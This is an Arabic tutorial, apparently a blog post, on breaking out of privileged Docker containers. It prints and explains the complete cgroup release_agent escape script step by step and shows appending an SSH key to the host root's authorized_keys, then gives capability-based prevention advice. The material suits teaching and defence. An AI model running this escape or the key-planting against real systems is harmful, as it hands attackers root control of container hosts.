حاويات Docker المميزة هي حاويات تعمل بعلامة
--privileged
. على عكس الحاويات العادية ، تتمتع هذه الحاويات بوصول جذر إلى الجهاز المضيف.
غالبًا ما تُستخدم الحاويات المميزة عندما تتطلب المهام وصولاً مباشرًا إلى الأجهزة لتنفيذ المهام. ومع ذلك ، يمكن أن تسمح حاويات Docker المميزة للمهاجمين بالسيطرة على النظام المضيف. سنرى اليوم كيف يمكنك الخروج من حاوية مميزة.
ابحث عن الحاويات المعرضة للخطر
كيف يمكننا تحديد أننا في حاوية مميزة؟
كيف تعرف أنك في حاوية؟
Cgroups
لتقف على مجموعات التحكم. تعمل ميزة Linux هذه على عزل استخدام الموارد ، وهو ما يستخدمه Docker لعزل الحاويات. يمكنك معرفة ما إذا كنت في حاوية عن طريق التحقق من مجموعة cgroup لعملية البادئ في /proc/1/cgroup
. إذا لم تكن داخل الحاوية ، فستكون مجموعة التحكم /. مرة أخرى ، إذا كنت في حاوية ، فسترى بدلاً من ذلك /docker/CONTAINER_ID
.
كيف تعرف ما إذا كانت الحاوية مميزة؟
بمجرد أن تحدد أنك في حاوية ، عليك أن تفهم ما إذا كانت ذات امتيازات. أفضل طريقة للقيام بذلك هي تشغيل الأمر الذي يحتاج إلى العلم
--privileged
ومعرفة ما إذا كان يعمل.
على سبيل المثال ، يمكنك محاولة إضافة
dummy
واجهة باستخدام الأمر iproute2
. يتطلب هذا الأمر الوصول إلى NET_ADMIN
الحاوية ، إذا كان لها امتياز.
$ ip link add dummy0 type dummy
إذا نجح الأمر ، فيمكننا أن نستنتج أن الحاوية لها وظائف
NET_ADMIN
. وهي NET_ADMIN
بدورها جزء من مجموعة مميزة من الوظائف ، والحاويات التي لا تحتوي عليها لا تتمتع بامتيازات. يمكنك إزالة الرابط dummy0
بعد هذا الاختبار بالأمر:
ip link delete dummy0
الهروب من الحاوية
إذن كيف تخرج من الحاوية المميزة؟ سيساعدك البرنامج النصي التالي هنا. تم أخذ هذا المثال وإثبات المفهوم من مدونة Trail of Bits . للتعمق في هذا المفهوم ، اقرأ المقال الأصلي:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
يستخدم إثبات المفهوم هذا دالة
release_agent
من cgroup
.
بعد انتهاء العملية الأخيرة
cgroup
، يتم تنفيذ أمر يزيل العمل المنتهي cgroups
. يتم تحديد هذا الأمر في ملف release_agent
ويتم تنفيذه نيابة عن root
الكمبيوتر المضيف. بشكل افتراضي ، يتم تعطيل الميزة ويكون المسار release_agent
فارغًا.
يعمل هذا الاستغلال على تشغيل التعليمات البرمجية من خلال ملف
release_agent
. نحتاج إلى إنشاء cgroup
ملفه release_agent
وتحديده والبدء فيه release_agent
، وقتل جميع العمليات في cgroup
. ينشئ السطر الأول في اختبار الفرضية مجموعة جديدة:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
ما يلي يتضمن الوظيفة
release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
علاوة على ذلك ، في الأسطر القليلة التالية ، يتم تسجيل المسار إلى الملف
release_agent
:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
ثم يمكنك البدء في الكتابة إلى ملف الأوامر. سيقوم هذا البرنامج النصي بتنفيذ الأمر
ps aux
وحفظه في ملف /output
. تحتاج أيضًا إلى تعيين وحدات بت الوصول للبرنامج النصي:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
أخيرًا ، ابدأ الهجوم عن طريق إنتاج عملية تنتهي فورًا في المجموعة الجماعية التي أنشأناها.
release_agent
سيتم تنفيذ البرنامج النصي الخاص بنا بعد الانتهاء من العملية. يمكنك الآن قراءة الإخراج ps aux
على الجهاز المضيف في ملف /output
:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
يمكنك استخدام هذا المفهوم لتنفيذ أي أوامر تريدها على النظام المضيف. على سبيل المثال ، يمكنك استخدامه لكتابة مفتاح SSH إلى ملف
authorized_keys
المستخدم الجذر:
cat id_dsa.pub >> /root/.ssh/authorized_keys
منع هجوم
كيف يمكن منع هذا الهجوم؟ بدلاً من منح الحاويات حق الوصول الكامل إلى النظام المضيف ، يجب فقط منح الأذونات التي يحتاجون إليها.
تسمح قدرات Docker للمطورين بمنح أذونات انتقائية للحاوية. يصبح من الممكن تقسيم الأذونات ، المعبأة عادةً في الجذر
access
، إلى مكونات منفصلة.
بشكل افتراضي ، يأخذ Docker جميع الأذونات من الحاوية ويطلب إضافتها. يمكنك إزالة أو إضافة أذونات باستخدام العلامات
cap-drop
و cap-add
.
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
على سبيل المثال ، بدلاً من إعطاء الحاوية
root access
، اتركها NET_BIND_SERVICE
إذا احتاجت إلى الاتصال بمنفذ أقل من 1024. ستمنح هذه العلامة الحاوية الأذونات اللازمة:
--cap-add NET_BIND_SERVICE
خاتمة
تجنب تشغيل حاويات Docker بعلامة كلما أمكن ذلك
--privileged
. يمكن للحاويات المتميزة أن تمنح المهاجمين القدرة على الخروج من الحاوية والوصول إلى النظام المضيف. بدلاً من ذلك ، امنح الحاويات إذنًا بشكل فردي باستخدام العلم --cap-add
.
اقرأ أكثر
- ميزات Linux Kernel
- استخدام Docker بأمان
- أفضل ممارسات الأمان للعمل مع الحاويات المميزة
- تكتيكات الفريق الأحمر: تقنيات المراقبة المتقدمة في العمليات الهجومية
- بنتست. ممارسة اختبار الاختراق أو "القرصنة الأخلاقية". دورة جديدة من OTUS
تعلم المزيد عن الدورة.